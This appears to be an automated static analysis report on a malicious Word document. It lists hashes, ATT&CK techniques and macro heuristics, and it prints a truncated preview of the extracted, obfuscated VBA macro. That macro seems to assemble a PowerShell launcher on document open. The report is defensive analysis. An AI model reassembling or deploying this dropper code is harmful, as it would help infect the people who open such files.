Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ac34853f7b935b1…

MALICIOUS

Office (OLE)

117.5 KB Created: 2018-02-16 02:11:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: f18d2325c94e33cce3d9f35861263f5b SHA-1: 61008fbc4d37914b9262026a590f7e03f69ea07d SHA-256: 7ac34853f7b935b115b1f9b7685b6ec23a78ce505c4383564d1bed66f3af96bb
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the presence of a Shell() call within its VBA macros. The AutoOpen macro is present and configured to execute, further suggesting malicious intent. The VBA script attempts to construct and execute commands, likely to download and run a secondary payload, as evidenced by the obfuscated string concatenation for 'System.CailIKJvKuiMSrirGzJHnnbhE' and 'System.ShellExecute'.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23000 bytes
SHA-256: 64b550e66889c02adffe0f2a3d31b36e51b890c19f4e72d6ffb7eeeb052a0c00
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zRXCYjpsQI"
Function HRZzuhi()
On Error Resume Next
GonTWHPH = 2242194 / CLng(HjWaDLn) - 3650482 * Cos(8330843) + RRdLnOoknzLKh + 6223504
GJawlaGwstN = 2607738 / CLng(NOUPdwnbcwMNd) - 1368820 * Cos(9362843) + WpomcCzrQIfN + 9830546
XunUONT = 9475203 / CLng(pMMzYwbLTdCjqB) - 5317647 * Cos(1437780) + BYossbPLRcz + 4185360
BYQrY = (GNfGEFOlFEsT) + HJjkJKD("wmCWdB6BX+6BXCO8ftsne6BX'+'+6BXftCO8+CO8s+ftsCO8'+'+C6BX+6B'+'XO8wfts+ftCO8+CO8s-oCO8+CO8bjCO'+'8+CO8e'+'cCO'+'8+CO8tCO8+CO8ftCO8+CO8sCO8+CO8) SysteCO8+CO8m.CailIKJvKuiMSrirGzJHnnbhE", 7, 152)
kNEvo = 135264 / CLng(MaIFzlwmHVcpAE) - 5052971 * Cos(926452) + fbqXdkuPXSpsK + 7558385
TqwiDjzC = 2092820 / CLng(TNBWsYOTW) - 3052742 * Cos(3565419) + nTEzNNKN + 1892210
dSWlzOSV = 5301120 / CLng(pOqaSHuziRU) - 6324605 * Cos(8291841) + iAGMXANRc + 5283480
ibPjfCnbwB = (oudUIZSGpo) + HJjkJKD("krMSzjclGINg][cHaR]39)'+'.rEP'+'laCe(gd76Zugd7,gd73t5g6BX+6B'+'Xd7) ) 6BX).REP'+'LAC'+'E(6BX3t56BX,[stRING][cHar]36).REPLACE(([cHar]103+[cHar]10'+'0+[cHar]55),[stRING][cHar]39)XP7 &( YDrpShOme[21]+YDrPShOmetfwzZD", 10, 197)
YPFQridmr = 7472390 / CLng(afNDAmb) - 4225239 * Cos(4639226) + PWERPAFTJoNN + 5172643
BnNMzXJC = 9655348 / CLng(QKXuhb) - 1690693 * Cos(3240695) + PziZw + 4719947
jYAZGA = 3319457 / CLng(nVmbrv) - 2634442 * Cos(3486190) + jIwzNEPvkb + 688232
FNEoRrt = (LsdLHBwwMcSkAS) + HJjkJKD("SKiW('(6BX& ( 3t5sHelliD[1]+3t5sHElLID[13]+gd7Xgd7)((gd7& ( ([sgd7+gd7trINg]6gd7+gd7ZuveR6BX+6BXb6BX+6BXoSepREFErenCE)[1,3]+C6BX+6BXO8'+'XCO8DBmmVA", 5, 137)
SdUzPfBwMo = 9962779 / CLng(BBvTiMwN) - 6241084 * Cos(9450309) + jWotwAz + 1902872
wnSNfUZTwhL = 4582974 / CLng(tnwEOMMtwn) - 3142524 * Cos(1280819) + BATwAKoJZcuf + 1968426
khuSSjdKkCY = 6872762 / CLng(LcDkbrHNw) - 2908023 * Cos(3135611) + kTiJuZinsiBwwj + 3402001
roaiCUii = (XFZFLjYPJcDu) + HJjkJKD("svmpYIzUYmBPUSGw}CO8+CO8}CO8)  -CRePLaCE CO8YySaCO8'+',[cHAr'+']9gTWnki", 17, 50)
NwEzGShpr = 3589591 / CLng(Gbwdj) - 5070869 * Cos(918440) + sZnCtqLXtlLa + 2784500
oMUQSqcOZLi = 8989715 / CLng(tGISOniccsCS) - 5585915 * Cos(6140360) + BviulWF + 6965456
ccmNhYv = 5671423 / CLng(YnKDfsmLoCXYH) - 8072998 * Cos(9590828) + zLJqYir + 6365875
GlvQaUTiQlh = (fiwtmWjkLEpr) + HJjkJKD("iICO86'+'BX+6BXDADCX){try{sCO8+CO8jyDYCO6BX+6BX8+CO8YUCO8gd7+gd7+CO'+'8'+'.IRODCO8+6BX+6BXCO'+'8o3CO8+CO8hkLWnl3h6BX+6BXCO8+CTwQcrsEOlvsAIMzLZiSEqIF", 3, 123)
ChzGiniKQ = 7833036 / CLng(YZuanUpwdTPwRC) - 4611188 * Cos(2881254) + uizzt + 4795763
DRXXRqAMS = 2709806 / CLng(ZRuOrH) - 5418741 * Cos(1348436) + krtvrFBDr + 970562
jthSOFPGIVh = 6442755 / CLng(wEQOo) - 6654948 * Cos(1103018) + wiAjRNDvhmLn + 7972194
twqPYa = (YzAQGodpcn) + HJjkJKD("lCO6BX+6BX8sdgd7+gd7 =CO'+'8+CO8 CO8+CO8&(COgd7+gd78+CO8ftCOgd7+gd78+CO86BX+6BXsn6BX+6BXgd7+gd7CO8+CO8ftsgd7+gd7COgd7+gd7'+'8+CO8+C'+'O8+CO8fCO8+CO8iCsAVLtCU", 2, 147)
DoZpwiDAJ = 8315990 / CLng(idCGWFt) - 8873495 * Cos(2785454) + mksjfc + 8313917
lLwPiRNGYlT = 907763 / CLng(jzLmqRhjmQ) - 4574535 * Cos(3772255) + pJaZarX + 9441103
HEVPUFku = 5131825 / CLng(qVatITttaVdL) - 2450838 * Cos(3667828) + LooVGdqlaujIG + 392318
msdiCf = (dACYWRZF) + HJjkJKD("FJWpBkBFPjiWOlwR-JOIN'+'CO8CO8) (((CO8sj6BX+6BXyDnsadaCO8+ssawDwjnzG", 17, 42)
BNruDTMT = 123201 / CLng(YKmrbnzFzwZwQP) - 1032628 * Cos(2427043) + tnqQnA + 4664004
jHVljjrJ = 7548971 / CLng(wElEUhOYAFHfWK) - 7205861 * Cos(4790511) + JJSmTWHDGwJilJ + 2756087
bkwabE = 831665 / CLng(ptUuirhrOz) - 1059223 * Cos(5039414) + cFrprPVKf + 6539249
zJfTTVHJ = (iwHiODibUJAj) + HJjkJKD("HFzzOdUXPOisaRt+CO8iCOwawmBDzfnUqFiHa", 16, 7)
CQiDGiTHm = 5594806 / CLng(TErvSzjUJLq) - 8837064 * Cos(3242717) + cBzDMw + 6087233
VodabiVYsXW = 1419038 / CLng(mnMzkPb) - 2234043 * Cos(5230989) + dRAzTdtsW + 2270020
jMjpW = 6217202 / CLng(IOLHsES) - 7983144 * Cos(5823699) + MqEHF + 275661
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.